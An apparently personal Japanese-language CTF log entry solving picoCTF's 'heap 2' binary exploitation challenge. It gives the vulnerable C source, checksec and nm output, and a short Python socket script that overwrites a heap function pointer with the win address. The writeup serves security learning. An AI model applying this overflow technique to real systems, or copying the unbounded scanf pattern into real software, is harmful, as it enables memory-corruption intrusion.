roaris / ctf-log

0 stars 0 forks source link

picoCTF: heap 2 (Binary Exploitation) #46

Open roaris opened 5 months ago

roaris commented 5 months ago

https://play.picoctf.org/practice/challenge/435

roaris commented 5 months ago
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64

int num_allocs;
char *x;
char *input_data;

void win() {
    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);
}

void check_win() { ((void (*)())*(int*)x)(); }

void print_menu() {
    printf("\n1. Print Heap\n2. Write to buffer\n3. Print x\n4. Print Flag\n5. "
           "Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {

    printf("\nI have a function, I sometimes like to call it, maybe you should change it\n");
    fflush(stdout);

    input_data = malloc(5);
    strncpy(input_data, "pico", 5);
    x = malloc(5);
    strncpy(x, "bico", 5);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("[*]   Address   ->   Value   \n");
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", x, x);
    fflush(stdout);
}

int main(void) {

    // Setup
    init();

    int choice;

    while (1) {
        print_menu();
    if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print x
            printf("\n\nx = %s\n\n", x);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}
roaris commented 5 months ago

まずここを理解しよう

char *x;
...
void check_win() { ((void (*)())*(int*)x)(); }

xはchar型のポインタ (int*)xでint型のポインタに変換される *(int*)xが(int*)xが指すint型の値 ((void (*)())*(int*)x)で関数ポインタに変換される ((void (*)())*(int*)x)()で関数が実行される

関数ポインタとは関数のアドレスを格納する変数とのこと 以下の例では、funcが関数ポインタ

#include <stdio.h>

void print_number(int n) {
    printf("Number: %d\n", n);
}

int main() {
    void (*func)(int);
    func = print_number;
    func(42);
    return 0;
}
roaris commented 5 months ago

write_buffer関数ではscanfが使われており、input_dataからxを上書き可能 xをwin関数のアドレスで上書き出来れば、check_win関数の実行時にwin関数が呼ばれる

check_secにより、No PIEであることが分かる

$ checksec chall
[*] '/home/roaris/picoCTF/2024/435/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

nmコマンドでwin関数のアドレスが0x4011a0であると分かる

$ nm chall
000000000040037c r __abi_tag
0000000000404068 B __bss_start
00000000004011f0 T check_win
0000000000404070 b completed.0
0000000000404058 D __data_start
0000000000404058 W data_start
00000000004010f0 t deregister_tm_clones
00000000004010e0 T _dl_relocate_static_pie
0000000000401160 t __do_global_dtors_aux
0000000000403e18 d __do_global_dtors_aux_fini_array_entry
0000000000404060 D __dso_handle
0000000000403e20 d _DYNAMIC
0000000000404068 D _edata
0000000000404090 B _end
                 U exit@GLIBC_2.2.5
                 U fflush@GLIBC_2.2.5
                 U fgets@GLIBC_2.2.5
00000000004014ac T _fini
                 U fopen@GLIBC_2.2.5
0000000000401190 t frame_dummy
0000000000403e10 d __frame_dummy_init_array_entry
00000000004022e8 r __FRAME_END__
0000000000404000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000402168 r __GNU_EH_FRAME_HDR
0000000000401000 T _init
0000000000401230 T init
0000000000404080 B input_data
0000000000402000 R _IO_stdin_used
                 U __isoc99_scanf@GLIBC_2.7
                 U __libc_start_main@GLIBC_2.34
0000000000401310 T main
                 U malloc@GLIBC_2.2.5
0000000000404088 B num_allocs
                 U printf@GLIBC_2.2.5
00000000004012b0 T print_heap
0000000000401210 T print_menu
                 U puts@GLIBC_2.2.5
0000000000401120 t register_tm_clones
00000000004010b0 T _start
0000000000404068 B stdout@GLIBC_2.2.5
0000000000404068 D __TMC_END__
00000000004011a0 T win
0000000000401280 T write_buffer
0000000000404078 B x
roaris commented 5 months ago

input_dataとxのアドレスの差分は32らしい なんで32になるのか分からないけど、何回実行しても32

$ ./chall

I have a function, I sometimes like to call it, maybe you should change it

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 1
[*]   Address   ->   Value   
+-------------+-----------+
[*]   0x22b86b0  ->   pico
+-------------+-----------+
[*]   0x22b86d0  ->   bico
$ ./chall

I have a function, I sometimes like to call it, maybe you should change it

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 1
[*]   Address   ->   Value   
+-------------+-----------+
[*]   0xbbc6b0  ->   pico
+-------------+-----------+
[*]   0xbbc6d0  ->   bico
roaris commented 5 months ago

以下のプログラムで解ける xにwin関数のアドレスを書き込むときはリトルエンディアンで書き込むことに注意する(int型の値として読みだされるので)

import socket, time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('mimas.picoctf.net', 61814))

win_addr = 0x4011a0

s.sendall(b'2\n')
s.sendall(b'a'*32+win_addr.to_bytes(8, 'little')+b'\n')
s.sendall(b'4\n')
time.sleep(1)
d = s.recv(9999)
print(d)